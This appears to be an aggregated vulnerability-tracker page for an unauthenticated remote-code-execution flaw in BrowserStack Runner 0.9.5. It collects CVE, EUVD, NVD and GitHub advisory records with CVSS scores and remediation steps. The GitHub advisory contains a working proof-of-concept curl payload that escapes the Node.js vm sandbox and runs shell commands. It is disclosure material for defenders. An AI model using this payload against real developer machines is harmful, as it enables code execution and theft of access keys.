BrowserStack Runner 0.9.5 Unauthenticated RCE via /_log HTTP Handler

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

BrowserStack Runner through 0.9.5 contains a remote code execution vulnerability in the /_log HTTP handler that allows unauthenticated network-adjacent attackers to execute arbitrary code by submitting crafted JSON request bodies to the handler, which passes user-supplied data to vm.runInNewContext() combined with eval(). Attackers can escape the Node.js vm sandbox by leveraging a host-context Function reference through util.format to access the host process via this.constructor.constructor, achieving full remote code execution on the underlying system without any authentication.

Source published

2 Jun 2026 20:31:16 UTC

Source modified

8 Nov 2026 14:04:50 UTC

Observed here

8 Nov 2026 16:11:25 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 8.7 CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVSS 3.1 · 8.8 CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

BrowserStack Runner through 0.9.5 contains a remote code execution vulnerability in the /_log HTTP handler that allows unauthenticated network-adjacent attackers to execute arbitrary code by submitting crafted JSON request bodies to the handler, which passes user-supplied data to vm.runInNewContext() combined with eval(). Attackers can escape the Node.js vm sandbox by leveraging a host-context Function reference through util.format to access the host process via this.constructor.constructor, achieving full remote code execution on the underlying system without any authentication.

Source published

Jun 2, 2026, 8:31:16 PM (timezone not stated)

Source modified

Nov 8, 2026, 2:04:50 PM (timezone not stated)

Observed here

9 Nov 2026 12:05:32 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 8.7 CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

BrowserStack Runner through 0.9.5 contains a remote code execution vulnerability in the /_log HTTP handler that allows unauthenticated network-adjacent attackers to execute arbitrary code by submitting crafted JSON request bodies to the handler, which passes user-supplied data to vm.runInNewContext() combined with eval(). Attackers can escape the Node.js vm sandbox by leveraging a host-context Function reference through util.format to access the host process via this.constructor.constructor, achieving full remote code execution on the underlying system without any authentication.

Source published

2 Jun 2026 21:16:28 UTC

Source modified

8 Oct 2026 16:17:18 UTC

Observed here

25 Oct 2026 12:17:32 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 8.7 CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 8.8 CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

### Summary The HTTP handler `/_log` in `lib/server.js` (lines 491–515) of browserstack-runner passes unauthenticated user-supplied data to `vm.runInNewContext()` combined with `eval()`, enabling a sandbox escape and arbitrary code execution on the host system. ### Details When `browserstack-runner` starts, it creates an HTTP server on port 8888 (configurable) that listens on all network interfaces (`0.0.0.0`). The `/_log` endpoint accepts POST requests and processes the JSON body as follows: ```javascript // lib/server.js lines 504-510 var context = { input: query.arguments, format: util.format, output: '' }; var tryEvalOrString = 'function (arg) { try { return eval(\'o = \' + arg); } catch (e) { return arg; } }'; vm.runInNewContext('output = format.apply(null, input.map(' + tryEvalOrString + '));', context); ``` The `vm` module is [not a security mechanism](https://nodejs.org/api/vm.html#vm-executing-javascript) per Node.js documentation. The `context` object contains a reference to `util.format` (a host-context Function), enabling sandbox escape via `this.constructor.constructor("return process")()`. Unlike the `_progress` and `_report` handlers which verify worker UUID authentication, the `_log` handler does not gate on authentication. ### Proof of Concept ```bash # Terminal 1: start the runner echo '<html><body>t</body></html>' > t.html echo '{"username":"X","key":"X","test_path":"t.html","test_framework":"qunit","browsers":[]}' > browserstack.json node bin/runner.js # Terminal 2: exploit curl -s http://127.0.0.1:8888/_log \ -H "Content-Type: application/json" \ -d '{"arguments":["this.constructor.constructor(\"return process.mainModule.require(\`child_process\`).execSync(\`id\`).toString()\")()"]}' # Terminal 1 output shows: # [undefined] uid=1000(user) gid=1000(user) ... ``` ### Impact An attacker on the same network as a developer running `browserstack-runner` can execute arbitrary commands on the developer's machine without authentication. The attack window exists for the duration of the test run (typically 1–15 minutes). The BrowserStack access key is accessible in the same process context via environment variables. ### Remediation 1. Remove `eval()` and `vm.runInNewContext()` from the `_log` handler — use `JSON.stringify()` for safe logging 2. Add UUID authentication to `_log` (matching `_progress` and `_report` handlers) 3. Bind the HTTP server on `127.0.0.1` instead of `0.0.0.0` ### Credit Christ Bowel Bouchuen

Source published

3 Jun 2026 21:39:32 UTC

Source modified

3 Jun 2026 21:56:25 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS_V4 · CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Publisher rating · HIGH